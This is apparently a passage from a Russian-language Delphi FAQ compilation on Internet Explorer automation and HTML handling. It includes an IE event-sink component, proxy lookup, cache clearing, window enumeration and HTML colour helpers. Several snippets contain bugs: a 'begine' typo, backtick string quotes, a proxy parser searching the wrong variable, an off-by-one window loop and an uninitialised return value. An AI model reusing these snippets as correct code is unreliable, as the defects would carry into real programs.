    property BeforeNavigate2: TIEBeforeNavigate2Event read FBeforeNavigate2 write FBeforeNavigate2;
    property NewWindow2: TIENewWindow2Event read FNewWindow2 write FNewWindow2;
    property NavigateComplete2: TIENavigateComplete2Event read FNavigateComplete2 write FNavigateComplete2;
    property DocumentComplete: TIEDocumentCompleteEvent read FDocumentComplete write FDocumentComplete;
    property OnQuit: TIEOnQuitEvent read FOnQuit write FOnQuit;
    property OnVisible: TIEOnVisibleEvent read FOnVisible write FOnVisible;
    property OnToolBar: TIEOnToolBarEvent read FOnToolBar write FOnToolBar;
    property OnMenuBar: TIEOnMenuBarEvent read FOnMenuBar write FOnMenuBar;
    property OnStatusBar: TIEOnStatusBarEvent read FOnStatusBar write FOnStatusBar;
    property OnFullScreen: TIEOnFullScreenEvent read FOnFullScreen write FOnFullScreen;
    property OnTheaterMode: TIEOnTheaterModeEvent read FOnTheaterMode write FOnTheaterMode;
  end;

// Register procedure
procedure Register;

implementation

function TIEEvents._AddRef: Integer;
begin

  // No more than 2 counts
  result := 2;

end;

function TIEEvents._Release: Integer;
begin
  // Always maintain 1 ref count (component holds the ref count)
  result := 1;
end;

function TIEEvents.QueryInterface(const IID: TGUID; out Obj): HResult;
begin
  // Clear interface pointer
  Pointer(Obj) := nil;

  // Attempt to get the requested interface
  if (GetInterface(IID, Obj)) then
     // Success
    result := S_OK
  // Check to see if the guid requested is for the event
  else if (IsEqualIID(IID, FSinkIID)) then
  begin
     // Event is dispatch based, so get dispatch interface (closest we can come)
    if (GetInterface(IDispatch, Obj)) then
        // Success
      result := S_OK
    else
        // Failure
      result := E_NOINTERFACE;
  end
  else
     // Failure
    result := E_NOINTERFACE;
end;

function TIEEvents.GetIDsOfNames(const IID: TGUID; Names: Pointer; NameCount,
  LocaleID: Integer; DispIDs: Pointer): HResult;
begin
  // Not implemented
  result := E_NOTIMPL;
end;

function TIEEvents.GetTypeInfo(Index, LocaleID: Integer; out TypeInfo): HResult;
begin
  // Clear the result interface
  Pointer(TypeInfo) := nil;
  // No type info for our interface
  result := E_NOTIMPL;
end;

function TIEEvents.GetTypeInfoCount(out Count: Integer): HResult;
begin
  // Zero type info counts
  Count := 0;
  // Return success
  result := S_OK;
end;

function TIEEvents.Invoke(DispID: Integer; const IID: TGUID; LocaleID: Integer; Flags: Word;
  var Params; VarResult, ExcepInfo, ArgErr: Pointer): HResult;
var pdpParams: PDispParams;
  lpDispIDs: array[0..63] of TDispID;
  dwCount: Integer;
begin

  // Get the parameters
  pdpParams := @Params;

  // Events can only be called with method dispatch, not property get/set
  if ((Flags and DISPATCH_METHOD) > 0) then
  begin
     // Clear DispID list
    ZeroMemory(@lpDispIDs, SizeOf(lpDispIDs));
     // Build dispatch ID list to handle named args
    if (pdpParams^.cArgs > 0) then
    begin
        // Reverse the order of the params because they are backwards
      for dwCount := 0 to Pred(pdpParams^.cArgs) do lpDispIDs[dwCount] := Pred(pdpParams^.cArgs) - dwCount;
        // Handle named arguments
      if (pdpParams^.cNamedArgs > 0) then
      begin
        for dwCount := 0 to Pred(pdpParams^.cNamedArgs) do
          lpDispIDs[pdpParams^.rgdispidNamedArgs^[dwCount]] := dwCount;
      end;
    end;
     // Unless the event falls into the "else" clause of the case statement the result is S_OK
    result := S_OK;
     // Handle the event
    case DispID of
      102: DoStatusTextChange(pdpParams^.rgvarg^[lpDispIds[0]].bstrval);
      104: DoDownloadComplete;
      105: DoCommandStateChange(pdpParams^.rgvarg^[lpDispIds[0]].lval,
          pdpParams^.rgvarg^[lpDispIds[1]].vbool);
      106: DoDownloadBegin;
      108: DoProgressChange(pdpParams^.rgvarg^[lpDispIds[0]].lval,
          pdpParams^.rgvarg^[lpDispIds[1]].lval);
      112: DoPropertyChange(pdpParams^.rgvarg^[lpDispIds[0]].bstrval);
      113: DoTitleChange(pdpParams^.rgvarg^[lpDispIds[0]].bstrval);
      250: DoBeforeNavigate2(IDispatch(pdpParams^.rgvarg^[lpDispIds[0]].dispval),
          POleVariant(pdpParams^.rgvarg^[lpDispIds[1]].pvarval)^,
          POleVariant(pdpParams^.rgvarg^[lpDispIds[2]].pvarval)^,
          POleVariant(pdpParams^.rgvarg^[lpDispIds[3]].pvarval)^,
          POleVariant(pdpParams^.rgvarg^[lpDispIds[4]].pvarval)^,
          POleVariant(pdpParams^.rgvarg^[lpDispIds[5]].pvarval)^,
          pdpParams^.rgvarg^[lpDispIds[6]].pbool^);
      251: DoNewWindow2(IDispatch(pdpParams^.rgvarg^[lpDispIds[0]].pdispval^),
          pdpParams^.rgvarg^[lpDispIds[1]].pbool^);
      252: DoNavigateComplete2(IDispatch(pdpParams^.rgvarg^[lpDispIds[0]].dispval),
          POleVariant(pdpParams^.rgvarg^[lpDispIds[1]].pvarval)^);
      253:
        begin
           // Special case handler. When Quit is called, IE is going away so we might
           // as well unbind from the interface by calling disconnect.
          DoOnQuit;
           //  Call disconnect
          Disconnect;
        end;
      254: DoOnVisible(pdpParams^.rgvarg^[lpDispIds[0]].vbool);
      255: DoOnToolBar(pdpParams^.rgvarg^[lpDispIds[0]].vbool);
      256: DoOnMenuBar(pdpParams^.rgvarg^[lpDispIds[0]].vbool);
      257: DoOnStatusBar(pdpParams^.rgvarg^[lpDispIds[0]].vbool);
      258: DoOnFullScreen(pdpParams^.rgvarg^[lpDispIds[0]].vbool);
      259: DoDocumentComplete(IDispatch(pdpParams^.rgvarg^[lpDispIds[0]].dispval),
          POleVariant(pdpParams^.rgvarg^[lpDispIds[1]].pvarval)^);
      260: DoOnTheaterMode(pdpParams^.rgvarg^[lpDispIds[0]].vbool);
    else
        // Have to idea of what event they are calling
      result := DISP_E_MEMBERNOTFOUND;
    end;
  end
  else
     // Called with wrong flags
    result := DISP_E_MEMBERNOTFOUND;
end;

constructor TIEEvents.Create(AOwner: TComponent);
begin
  // Perform inherited
  inherited Create(AOwner);

  // Set the event sink IID
  FSinkIID := DWebBrowserEvents2;
end;

destructor TIEEvents.Destroy;
begin
  // Disconnect
  Disconnect;
  // Perform inherited
  inherited Destroy;
end;

procedure TIEEvents.ConnectTo(Source: IWebBrowser2);
var pvCPC: IConnectionPointContainer;
begin
  // Disconnect from any currently connected event sink
  Disconnect;
  // Query for the connection point container and desired connection point.
  // On success, sink the connection point
  OleCheck(Source.QueryInterface(IConnectionPointContainer, pvCPC));
  OleCheck(pvCPC.FindConnectionPoint(FSinkIID, FCP));
  OleCheck(FCP.Advise(Self, FCookie));
  // Update internal state variables
  FSource := Source;
  // We are in a connected state
  FConnected := True;
  // Release the temp interface
  pvCPC := nil;
end;

procedure TIEEvents.Disconnect;
begin
  // Do we have the IWebBrowser2 interface?
  if Assigned(FSource) then
  begin
    try
        // Unadvise the connection point
      OleCheck(FCP.Unadvise(FCookie));
        // Release the interfaces
      FCP := nil;
      FSource := nil;
    except
      Pointer(FCP) := nil;
      Pointer(FSource) := nil;
    end;
  end;

  // Disconnected state
  FConnected := False;
end;

procedure TIEEvents.DoStatusTextChange(const Text: WideString);
begin
  // Call assigned event
  if Assigned(FStatusTextChange) then FStatusTextChange(Self, Text);
end;

procedure TIEEvents.DoProgressChange(Progress: Integer; ProgressMax: Integer);
begin
  // Call assigned event
  if Assigned(FProgressChange) then FProgressChange(Self, Progress, ProgressMax);
end;

procedure TIEEvents.DoCommandStateChange(Command: Integer; Enable: WordBool);
begin
  // Call assigned event
  if Assigned(FCommandStateChange) then FCommandStateChange(Self, Command, Enable);
end;

procedure TIEEvents.DoDownloadBegin;
begin
  // Call assigned event
  if Assigned(FDownloadBegin) then FDownloadBegin(Self);
end;

procedure TIEEvents.DoDownloadComplete;
begin
  // Call assigned event
  if Assigned(FDownloadComplete) then FDownloadComplete(Self);
end;

procedure TIEEvents.DoTitleChange(const Text: WideString);
begin
  // Call assigned event
  if Assigned(FTitleChange) then FTitleChange(Self, Text);
end;

procedure TIEEvents.DoPropertyChange(const szProperty: WideString);
begin
  // Call assigned event
  if Assigned(FPropertyChange) then FPropertyChange(Self, szProperty);
end;

procedure TIEEvents.DoBeforeNavigate2(const pDisp: IDispatch; var URL: OleVariant; var Flags:
  OleVariant; var TargetFrameName: OleVariant; var PostData: OleVariant; var Headers: OleVariant; var Cancel: WordBool);
begin
  // Call assigned event
  if Assigned(FBeforeNavigate2) then FBeforeNavigate2(Self, pDisp, URL, Flags, TargetFrameName, PostData, Headers, Cancel);
end;

procedure TIEEvents.DoNewWindow2(var ppDisp: IDispatch; var Cancel: WordBool);
var
  pvDisp: IDispatch;
begin
  // Call assigned event
  if Assigned(FNewWindow2) then
  begin
    if Assigned(ppDisp) then
      pvDisp := ppDisp
    else
      pvDisp := nil;
    FNewWindow2(Self, pvDisp, Cancel);
    ppDisp := pvDisp;
  end;
end;

procedure TIEEvents.DoNavigateComplete2(const pDisp: IDispatch; var URL: OleVariant);
begin
  // Call assigned event
  if Assigned(FNavigateComplete2) then FNavigateComplete2(Self, pDisp, URL);
end;

procedure TIEEvents.DoDocumentComplete(const pDisp: IDispatch; var URL: OleVariant);
begin
  // Call assigned event
  if Assigned(FDocumentComplete) then FDocumentComplete(Self, pDisp, URL);
end;

procedure TIEEvents.DoOnQuit;
begin
  // Call assigned event
  if Assigned(FOnQuit) then FOnQuit(Self);
end;

procedure TIEEvents.DoOnVisible(Visible: WordBool);
begin
  // Call assigned event
  if Assigned(FOnVisible) then FOnVisible(Self, Visible);
end;

procedure TIEEvents.DoOnToolBar(ToolBar: WordBool);
begin
  // Call assigned event
  if Assigned(FOnToolBar) then FOnToolBar(Self, ToolBar);
end;

procedure TIEEvents.DoOnMenuBar(MenuBar: WordBool);
begin
  // Call assigned event
  if Assigned(FOnMenuBar) then FOnMenuBar(Self, MenuBar);
end;

procedure TIEEvents.DoOnStatusBar(StatusBar: WordBool);
begin
  // Call assigned event
  if Assigned(FOnStatusBar) then FOnStatusBar(Self, StatusBar);
end;

procedure TIEEvents.DoOnFullScreen(FullScreen: WordBool);
begin
  // Call assigned event
  if Assigned(FOnFullScreen) then FOnFullScreen(Self, FullScreen);
end;

procedure TIEEvents.DoOnTheaterMode(TheaterMode: WordBool);
begin
  // Call assigned event
  if Assigned(FOnTheaterMode) then FOnTheaterMode(Self, TheaterMode);
end;

procedure Register;
begin
  // Register the component on the Internet tab of the IDE
  RegisterComponents('Internet', [TIEEvents]);
end;

end.

--- Project source ----
//Notes: Add a button and the IEEvents component to Form1. The button1 click event
// shows  how the IE enumeration is achieved, and shows how the binding is done:

unit Unit1;

interface

uses
  Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
  Dialogs, IEEvents, StdCtrls, ActiveX, SHDocVw;

type
  TForm1 = class(TForm)
    IEEvents1: TIEEvents;
    Button1: TButton;
    procedure FormCreate(Sender: TObject);
    procedure FormDestroy(Sender: TObject);
    procedure IEEvents1Quit(Sender: TObject);
    procedure IEEvents1DownloadBegin(Sender: TObject);
    procedure IEEvents1DownloadComplete(Sender: TObject);
    procedure Button1Click(Sender: TObject);
    procedure IEEvents1ProgressChange(Sender: TObject; Progress,
      ProgressMax: Integer);
  private
    { Private declarations }
    FTimeList: TList;
  public
    { Public declarations }
  end;

var
  Form1: TForm1;

implementation

{$R *.dfm}

procedure TForm1.Button1Click(Sender: TObject);
var
  pvShell: IShellWindows;
  pvWeb2: IWebBrowser2;
  ovIE: OleVariant;
  dwCount: Integer;
begin
  // Create the shell windows interface
  pvShell := CoShellWindows.Create;
  // Walk the internet explorer windows
  for dwCount := 0 to Pred(pvShell.Count) do
  begin
     // Get the interface
    ovIE := pvShell.Item(dwCount);
     // At this point you can evaluate the interface (LocationUrl, etc)
     // to decide if this is the one you want to connect to. For demo purposes,
     // the code will bind to the first one
    ShowMessage(ovIE.LocationURL);
     // QI for the IWebBrowser2
    if (IDispatch(ovIE).QueryInterface(IWebBrowser2, pvWeb2) = S_OK) then
    begin
      IEEvents1.ConnectTo(pvWeb2);
        // Release the interface
      pvWeb2 := nil;
    end;
     // Clear the variant
    ovIE := Unassigned;
     // Break if we connected
    if IEEvents1.Connected then break;
  end;
  // Release the shell windows interface
  pvShell := nil;
end;

procedure TForm1.FormCreate(Sender: TObject);
begin
  // Create the time list
  FTimeList := TList.Create;
end;

procedure TForm1.FormDestroy(Sender: TObject);
begin
  // Free the time list
  FTimeList.Free;
end;

procedure TForm1.IEEvents1DownloadBegin(Sender: TObject);
begin
  // Add the current time to the list
  FTimeList.Add(Pointer(GetTickCount));
end;

procedure TForm1.IEEvents1DownloadComplete(Sender: TObject);
var dwTime: LongWord;
begin
  // Pull the top item off the list (make sure there is one)
  if (FTimeList.Count > 0) then
  begin
    dwTime := LongWord(FTimeList[Pred(FTimeList.Count)]);
    FTimeList.Delete(Pred(FTimeList.Count));
     // Now calculate total based on current time
    dwTime := GetTickCount - dwTime;
     // Display a message showing total download time
    ShowMessage(Format('Download time for "%s" was %d ms', [IEEvents1.WebObj.LocationURL, dwTime]));
  end;
end;

procedure TForm1.IEEvents1Quit(Sender: TObject);
begin
  ShowMessage('About to disconnect');
end;

procedure TForm1.IEEvents1ProgressChange(Sender: TObject; Progress,
  ProgressMax: Integer);
begin
  Caption := IntToStr(Progress);
end;

end.
Взято с сайта http://www.swissdelphicenter.ch/en/tipsindex.php


Узнать информацию о прокси сервере

uses
  WinInet;

function GetProxyInformation: string;
var
  ProxyInfo: PInternetProxyInfo;
  Len: LongWord;
begin
  Result := '';
  Len := 4096;
  GetMem(ProxyInfo, Len);
  try
    if InternetQueryOption(nil, INTERNET_OPTION_PROXY, ProxyInfo, Len) then
      if ProxyInfo^.dwAccessType = INTERNET_OPEN_TYPE_PROXY then
      begin
        Result := ProxyInfo^.lpszProxy
      end;
  finally
    FreeMem(ProxyInfo);
  end;
end;

{**************************************************************************
* NAME:    GetProxyServer
* DESC:    Proxy-Server Einstellungen abfragen
* PARAMS:  protocol => z.B. 'http' oder 'ftp'
* RESULT:  [-]
* CREATED: 08-04-2004/shmia
*************************************************************************}
procedure GetProxyServer(protocol: string; var ProxyServer: string;
  var ProxyPort: Integer);
var
  i: Integer;
  proxyinfo, ps: string;
begin
  ProxyServer := '';
  ProxyPort := 0;

  proxyinfo := GetProxyInformation;
  if proxyinfo = '' then
    Exit;

  protocol := protocol + '=';

  i := Pos(protocol, proxyinfo);
  if i > 0 then
  begin
    Delete(proxyinfo, 1, i + Length(protocol));
    i := Pos(';', ProxyServer);
    if i > 0 then
      proxyinfo := Copy(proxyinfo, 1, i - 1);
  end;

  i := Pos(':', proxyinfo);
  if i > 0 then
  begin
    ProxyPort := StrToIntDef(Copy(proxyinfo, i + 1, Length(proxyinfo) - i), 0);
    ProxyServer := Copy(proxyinfo, 1, i - 1)
  end
end;

procedure TForm1.Button1Click(Sender: TObject);
var
  ProxyServer: string;
  ProxyPort: Integer;
begin
  GetProxyServer('http', ProxyServer, ProxyPort);
  Label1.Caption := ProxyServer;
  label2.Caption := IntToStr(ProxyPort);
end;
Взято с сайта http://www.swissdelphicenter.ch/en/tipsindex.php


Как обновить все окна Internet Explorer?

uses
 MSHTML_TLB, SHDocVw_TLB;

procedure TForm1.Button1Click(Sender: TObject);
var
 ShellWindow: IShellWindows;
 WB: IWebbrowser2;
 spDisp: IDispatch;
 IDoc1: IHTMLDocument2;
 k: Integer;
begin
 ShellWindow := CoShellWindows.Create;
 for k := 0 to ShellWindow.Count do
 begin
   spDisp := ShellWindow.Item(k);
   if spDisp = nil then Continue;
   spDisp.QueryInterface(iWebBrowser2, WB);
   if WB <> nil then
   begin
     WB.Document.QueryInterface(IHTMLDocument2, iDoc1);
     if iDoc1 <> nil then
     begin
       WB := ShellWindow.Item(k) as IWebbrowser2;
       WB.Refresh;
     end;
   end;
 end;
end;
Взято с сайта http://www.swissdelphicenter.ch/en/tipsindex.php


Удалить временные файлы IE

uses
  WinInet;

procedure DeleteIECache;
var
  lpEntryInfo: PInternetCacheEntryInfo;
  hCacheDir: LongWord;
  dwEntrySize: LongWord;
begin
  dwEntrySize := 0;
  FindFirstUrlCacheEntry(nil, TInternetCacheEntryInfo(nil^), dwEntrySize);
  GetMem(lpEntryInfo, dwEntrySize);
  if dwEntrySize > 0 then lpEntryInfo^.dwStructSize := dwEntrySize;
  hCacheDir := FindFirstUrlCacheEntry(nil, lpEntryInfo^, dwEntrySize);
  if hCacheDir <> 0 then
  begin
    repeat
      DeleteUrlCacheEntry(lpEntryInfo^.lpszSourceUrlName);
      FreeMem(lpEntryInfo, dwEntrySize);
      dwEntrySize := 0;
      FindNextUrlCacheEntry(hCacheDir, TInternetCacheEntryInfo(nil^), dwEntrySize);
      GetMem(lpEntryInfo, dwEntrySize);
      if dwEntrySize > 0 then lpEntryInfo^.dwStructSize := dwEntrySize;
    until not FindNextUrlCacheEntry(hCacheDir, lpEntryInfo^, dwEntrySize);
  end;
  FreeMem(lpEntryInfo, dwEntrySize);
  FindCloseUrlCache(hCacheDir);
end;

// Beispiel:
// Example:
procedure TForm1.Button1Click(Sender: TObject);
begin
  DeleteIECache;
end;

Взято с http://delphiworld.narod.ru


Закрытие всех окон IE

Procedure CloseAllIE_1;
var
   ie:HWND;
  begine
    //Ищем окно IE
    ie:=FindWindow(`IEFrame`, nil);
    //пока найдено окно IE...
    while ie<>0 do
      begin
        //... закрываем его
        postmessage (ie, WM_CLOSE, 0, 0);
        //ищем следующее
        ie:=FindWindow (`IEFrame`, nil);
      end;
end;

Автор: bizar
Взято из http://forum.sources.ru


Работа с HTML, клиентскими скриптами

Cодержание раздела:

Как получить TextRange страницы без фреймов?
Как переделать TLabel в URL
Удаление HTML элементов из текста
WEB страничка внутри Delphi приложения
Как преобразовать шестнадцатиричный цвет HTML в TColor?
Как распечатать WEB страничку при помощи HTML контрола?
Как получить цвет строки в HTML формате?
GIF для HTML в EXE New!
Как получить цвет строки в HTML формате New!
Компонента HTML - редактора New!
HTMLEditor - Краткий обзор New!

См. также статьи в других разделах:
Как сохранить веб страничку в bitmap?
Как сохранить веб страничку в jpg?
Как работать со всеми ячейками < TABLE> ?
Как получить полный исходник HTML?
Что такое DOM?
Как добраться до конкретного фрейма?
Как открыть HTML-файл в стандартном браузере?
Как сохранить исходник HTML из TWebBrowser.Document на диск?
Как выполнить Javascript функцию?
Как автоматически заполнить поля формы в IE?
Как загрузить HTML код непосредственно в TWebbrowser?
Использоватние Drag and Drop для заполнения полей в TWebBrowser?
Как получить handle на editbox в Internet Explorer?
RTF-->HTML
Экспортировать DBGrid в HTML New!


Как получить TextRange страницы без фреймов?

HTML_Doc := WebBrowser1.Document As IHTMLDocument2;
Window := HTML_Doc.parentWindow As IHTMLWindow2;
Body := HTML_Doc.get_body As IHTMLBodyElement;
Range := oBody.createTextRange;

Можно еще так:

var
a:IHTMLTxtRange;
a:=IHTMLDocument2(webbrowser1.Document).selection.createRange as IHTMLTxtRange;

Автор ответа: Good Man
Взято с Vingrad.ru http://forum.vingrad.ru


Как переделать TLabel в URL

By Kevin Lange (klange@partslink.com)

Приложение содержит ссылку, которая позволяет запускать Браузер и сразу перейти по указанному в ссылке адресу. Процесс создания URL заключается в переделке компоненты TLabel в URL.

Следующие 3 шага показывают как переделать TLabel в URL.

Шаг 1 Установите в свойствах шрифта подчёркивание и цвет ссылки.
Шаг 2 Установите свойства курсора. Когда мышка попадает на URL, то курсор должен превращаться в ручку.
Шаг 3 Записываем событие OnClick для ссылки. Когда пользователь нажимает на ссылку, то запускается браузер, который автоматически переходит на заданный адрес. Однако этого мало! Нужно будет добавить в приложение ещё одну строчку
Та самая строчка:
ShellExecute(0,'open',pChar(URL),NIL,NIL,SW_SHOWNORMAL);
Внимание: функция ShellExecute содержится в ShellAPI, поэтому вам прийдётся включить его в проект.

Пример приложения

unit Unit1;

interface

uses
  Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs,
  StdCtrls, ShellAPI;

type
  TForm1 = class(TForm)
    URLLabel: TLabel;
    Button1: TButton;
    procedure Button1Click(Sender: TObject);
    procedure URLLabelClick(Sender: TObject);
  private
    { Private declarations }
  public
    { Public declarations }
  end;

var
  Form1: TForm1;

implementation

{$R *.DFM}

procedure TForm1.Button1Click(Sender: TObject);
begin
  Close;
end;

procedure TForm1.URLLabelClick(Sender: TObject);
Const
  URL : String = 'http://www.sources.ru';
begin
  ShellExecute(0,'open',pChar(URL),NIL,NIL,SW_SHOWNORMAL);
end;

end.

Взято из http://forum.sources.ru


Удаление HTML элементов из текста

Как-то раз пришлось решить задачу удаления из файла элементов HTML таких, как, например, ненужные ссылки, и в то эе время преобразования возврата каретки в HTML параграфы, знаков табуляции в пробелы и т.д. В результате соответственно должен был получиться новый HTML документ.
Следующие две процедуры показывают, как это можно сделать:

procedure TMainForm.LoadFileIntoList(TextFileName:String; AWebPage:TStringList; WithFilter:Boolean);
var CurrentFile : TStringList;
begin
   CurrentFile := TStringList.Create;
   CurrentFile.LoadFromFile(TextFileName);
   if WithFilter then
      FilterHTML(CurrentFile,AWebPage)
   else
      with AWebPage do AddStrings(CurrentFile);
   CurrentFile.Free;
end;

procedure TMainForm.FilterHTML(FilterInput, AWebPage:TStringList);
var
   i,j : LongInt;
   S   : String;
begin
   FilterMemo.Lines.Clear;
   FilterMemo.Lines := FilterInput;

   with AWebPage do
   begin
      FilterMemo.SelectAll;
      j := FilterMemo.SelLength;

      if j > 0 then
      begin
         i := 0;
         repeat
            if FilterMemo.Lines.GetText[i] = Char(VK_RETURN)      // ищем cr
            then S := S+'
'
            else if FilterMemo.Lines.GetText[i] = '<'
                 then repeat
                         inc(i);
                      until FilterMemo.Lines.GetText[i] = '>'
                 else if FilterMemo.Lines.GetText[i] = Char(VK_TAB)   // ищем tab
                      then S := S+'    '
                      else S := S+ FilterMemo.Lines.GetText[i];     // добавляем текст
            inc(i);
         until i = j+1;
         Add(S);     // добавляем строку в WebPage
      end else Add('No data entered into field.');   // no data in text file
   end;
end;

Применение функции:

Всё, что нужно сделать - это вызвать :
LoadFileIntoList("filename.txt",Webpage, True);

Где filename - это имя файла, который вы хотите обработать.
"WebPage" - это TStringList
последний параметр в функции указывает, применять или нет HTML-фильтр.

PS: В этом примере объект TMemo (который вызывается из "FilterMemo") лежит на форме и поэтому не видим.

WebPage := TStringList.Create;
   try
      Screen.Cursor := crHourGlass;
      AddHeader(WebPage);
      with WebPage do
      begin
         Add('Personal Details');
         LoadFileIntoList("filename.txt",Webpage, True);
      end;
      AddFooter(WebPage);
   finally
      WebPage.SaveToFile(HTMLFileName);
      WebPage.Free;
      Screen.Cursor := crDefault;
   end;

Взято из http://forum.sources.ru


WEB страничка внутри Delphi приложения

WEB страничка внутри Delphi приложения

(Перевод одноимённой статьи с сайта delphi.about.com )
Многие из Вас спрашивают, как сделать, чтобы приложением могло содержать в себе различные компоненты в стиле Web, включая HTML ресурсы и картинки, которые являются частью Вашего проекта. Статья показывает, как можно легко добавить в Delphi приложение HTML и связанные с ним файлы (картинки).

Создание HTML страницы

Для начала мы должны создать простую страницу HTML. Для этого можно использовать Ваш любимый HTML редактор, и создать одну страницу с одним изображением. К примеру, назовём этот файл aboutindex.htm. Обратите внимание, что, когда Вы добавляете тэг картинки внутрь htm страницы, то в исходнике страницы будет присутствовать следудующая строка:

<img src="../graphics/adp.gif" ...>

Нам необходимо подправить тэг IMG так, чтобы атрибут SRC равнялся имени, которое мы указали в ресурсах:

<img src="ABOUTDP" ...>

У меня HTML код выглядит следующим образом:

<HTML><HEAD><TITLE>HTML inside a Delphi exe</TITLE></HEAD><BODY>
This is a HTML Delphi resource test:<br>
<img src="ABOUTDP" width=106 height=58 border=0 alt="">
</BODY></HTML>

Создание и компиляция файла ресурсов
Запомните, что для того, чтобы создать новый скрипт-файл ресурсов, необходимо:
1. Создать новый текстовый файл в директории Вашего проекта.
2. Переименовать его в AHTMLDelphi.rc.
3. Добавить следующие две строки текста в файл AHTMLDelphi.rc.

DELPHIINDEX HTML "c:\Delphi\projects\aboutindex.htm"
ABOUTDP GIF "c:\library\graphics\adp.gif"

Обратите внимание, что "HTML" тип ресурса RT_HTML, определён как "23". Это значение является дефолтовым для протокола RES.
Таким образом мы подготовили одну HTML страницу и одну картинку GIF, которые будут включены в исполняемый EXE модуль.
Следующий шаг - это компиляция .rc файла. Для компиляции файла AHTMLDelphi.rc в файл .res, выполните следующую команду из командной строки (в директории Вашего проекта):

BRCC32 AHTMLDelphi.RC

Заключительный шаг - это добавление следующей директивы компилятора в unit Вашего проекта. Следующая строка заставляет компилятор включить в проект файл RES:

{$R AHTMLDelphi.RES}

Отображение внутри Web браузера

После того, как Вы получите экзешник приложения (назовём его, например, myhtmldelphi.exe), то HTML ресурсы, содержащиеся в нём, могут быть доступны через протокол RES: . Запустите Internet Explorer и, адресной строке напишите следующее:
res://c:\myhtmldelphi.exe/DELPHIINDEX
Взято из http://forum.sources.ru


Как преобразовать шестнадцатиричный цвет HTML в TColor?

допустим, мы имеем переменную:

const BGCOLOR = '#003366';

и нам необходимо связать её с фоновым цветом memo либо любого другого TColor.
Мы можем это сделать простым вызовом функции и использовать возвращённое значение:

procedure TForm1.Button1Click(Sender: TObject);
begin
  Memo.Color := ConvertHtmlHexToTColor(BGCOLOR);
end;

Ниже приведён исходник этой функции, а так же код функции CheckHexForHash.

unit colours;

interface
uses Windows, Sysutils, Graphics;

function ConvertHtmlHexToTColor(Color: string): TColor;
function CheckHexForHash(col: string): string;

implementation

////////////////////////////////////////////////////////////////////////////////
// ConvertHtmlHexToTColor
//

function ConvertHtmlHexToTColor(Color: string): TColor;
var
  rColor: TColor;
begin
  Color := CheckHexForHash(Color);

  if (length(color) >= 6) then
    begin
{незабудьте, что TColor это bgr, а не rgb: поэтому необходимо изменить порядок}
      color := '$00' + copy(color, 5, 2) + copy(color, 3, 2) + copy(color, 1, 2);
      rColor := StrToInt(color);
    end;

  result := rColor;
end;

////////////////////////////////////////////////////////////////////////////////
// CheckHexForHash:
// Просто проверяет первый сивол строки на наличие '#' и удаляет его, если он найден

function CheckHexForHash(col: string): string;
begin
  if col[1] = '#' then
    col := StringReplace(col, '#', '', [rfReplaceAll]);
  result := col;
end;
end.
Взято из http://forum.sources.ru


Как распечатать WEB страничку при помощи HTML контрола?

Можно использовать два метода HTML контрола: AutoPrint или PrintPage.

Пример использования AutoPrint:

--------------------------------------------------------------------------------

Как распечатать WEB страничку при помощи HTML контрола

Можно использовать два метода HTML контрола: AutoPrint или PrintPage.

Пример использования AutoPrint:

uses Printers;

procedure TForm1.Button1Click(Sender: TObject);
var
  OldCur: TCursor;
begin
  OldCur := Screen.Cursor;
  with Printer do begin
    BeginDoc;
    HTML1.AutoPrint(handle);
    Title := HTML1.URL;
    EndDoc;
  end;
  Screen.Cursor := OldCur;
end;
Взято из http://forum.sources.ru


Как получить цвет строки в HTML формате?

Если Вам необходимо создать HTML-файл, то необходимо объявить тэг для цвета шрифта либо цвета фона. Однако просто вставить значение TColor не получится - необходимо преобразовать цвет в формат RGB. В своём наборе SMExport я использую следующую функцию:

function GetHTMLColor(cl: TColor; IsBackColor: Boolean): string;
var rgbColor: TColorRef;
begin
  if IsBackColor then
    Result := 'bg'
  else
    Result := '';
  rgbColor := ColorToRGB(cl);
  Result := Result + 'color="#' +
            Format('%.2x%.2x%.2x',
                   [GetRValue(rgbColor),
                    GetGValue(rgbColor),
                    GetBValue(rgbColor)]) + '"';
end;

Взято из http://forum.sources.ru


GIF для HTML в EXE

Есть программа на Delphi, котоpая отображает какой-то html. В html используется gif-файл. Как в Delphi-пpоекте указать, чтобы этот gif находился в exe как некий кусок кода. А когда надо будет, записать его обратно в gif-файл без изменений, выковырнув из exe?

Можно, используя RxLib. После его установки в меню View появится пунктик Project Resources. Hужно выбрать Project Resources->New->User Data и добавить нужный файл. В данном случае ресурс был назван "RCDATA_1".

Если RxLib нет, то нужно создать файл описания ресурсов:

=== Begin gifs.rc ===
mygif rcdata "имя_gif-файла.gif"
mygif1 rcdata "RCDATA_1"
=== End dots.rc ===

Потом скомпилировать его командой brcc32 gifs.rc и получить gifs.res В начало модуля добавь строчку {$R gifs.res}
В своей программе необходимо написать:

var
  rs: TResourceStream;
  a: Pointer;
begin
  rs := TResourceStream.Create(hinstance, 'RCDATA_1', RT_RCDATA);
  try
    GetMem(a, rs.size);
    rs.Read(a^, rs.size); {Теперь a - динамический указатель на код}
    { Здесь делается все, что необходимо с кодом, используя указатель a }
    FreeMem(a);
  finally
    rs.Free;
  end;
end;

А можно и так, если необходимо записать ресурс в файл:

var
  rs: TResourceStream;
  fs: TFileStream;
begin
  rs := TResourceStream.Create(hInstance, 'mygif', RT_RCDATA);
  fs := TFileStream.Create('имя_gif-файла.gif', fmCreate);
  try
    fs.CopyFrom(rs, rs.Size);
  finally
    fs.Free;
    rs.Free;
  end;
end;

Взято с http://delphiworld.narod.ru


Показать код HTML страницы в TMemo

// You need a TMemo, a TButton and a NMHTTP
procedure TForm1.Button1Click(Sender: TObject);
begin
  NMHTTP1.Get('www.swissdelphicenter.ch');
  memo1.Text := NMHTTP1.Body
end;

Взято с сайта http://www.swissdelphicenter.ch/en/tipsindex.php


Как получить цвет строки в HTML формате

Если Вам необходимо создать HTML-файл, то необходимо объявить тэг для цвета шрифта либо цвета фона. Однако просто вставить значение TColor не получится - необходимо преобразовать цвет в формат RGB. В своём наборе SMExport я использую следующую функцию:

function GetHTMLColor(cl: TColor; IsBackColor: Boolean): string;
var
  rgbColor: TColorRef;
begin
  if IsBackColor then
    Result := 'bg'
  else
    Result := '';
  rgbColor := ColorToRGB(cl);
  Result := Result + 'color="#' +
  Format('%.2x%.2x%.2x',
  [GetRValue(rgbColor),
  GetGValue(rgbColor),
  GetBValue(rgbColor)]) + '"';
end;

Взято с http://delphiworld.narod.ru


Компонента HTML - редактора

